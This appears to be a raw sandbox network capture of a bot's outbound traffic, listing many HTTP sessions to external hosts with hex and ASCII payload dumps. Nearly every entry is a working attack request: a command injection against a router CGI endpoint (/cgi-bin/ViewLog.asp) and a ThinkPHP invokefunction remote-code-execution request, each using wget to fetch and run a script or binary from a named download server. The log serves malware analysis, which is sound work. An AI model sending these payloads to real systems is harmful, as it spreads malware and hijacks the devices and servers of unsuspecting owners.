Mar 4, 2024 15:05:45.281392097 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	39308	31.200.51.175	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:45.721395969 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	40272	95.179.29.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:47.599042892 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:47.812889099 CET	263	IN	HTTP/1.0 404 Not Found Server: httpd Date: Mon, 04 Mar 2024 14:05:37 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>URL was not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	40296	95.179.29.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:48.020381927 CET	268	IN	HTTP/1.0 400 Bad Request Server: httpd Date: Mon, 04 Mar 2024 14:05:37 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	35288	88.221.132.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:48.581182957 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:48.783416986 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:05:48 GMT Date: Mon, 04 Mar 2024 14:05:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 66 38 34 64 64 35 38 26 23 34 36 3b 31 37 30 39 35 36 31 31 34 38 26 23 34 36 3b 31 30 30 39 65 34 63 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.bf84dd58.1709561148.1009e4c4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	45914	62.29.64.173	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.177020073 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	42198	94.110.69.34	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.194304943 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	57638	112.30.218.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.283843994 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:51.418304920 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:53.659080029 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	53194	94.122.1.135	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.406862974 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	47830	85.122.222.46	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.796526909 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	44750	31.136.195.234	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.806997061 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:50.359185934 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:51.447119951 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:53.655101061 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:58.007102966 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:06.711108923 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:24.631140947 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:59.447285891 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	33098	31.136.126.245	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.807085037 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:50.359225035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:51.447139978 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:53.655230045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:58.007220030 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:06.711123943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:24.631151915 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:59.447230101 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	48112	31.136.129.81	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:49.808381081 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:50.359203100 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:51.479109049 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:53.911133051 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:58.519268990 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:07.479094982 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
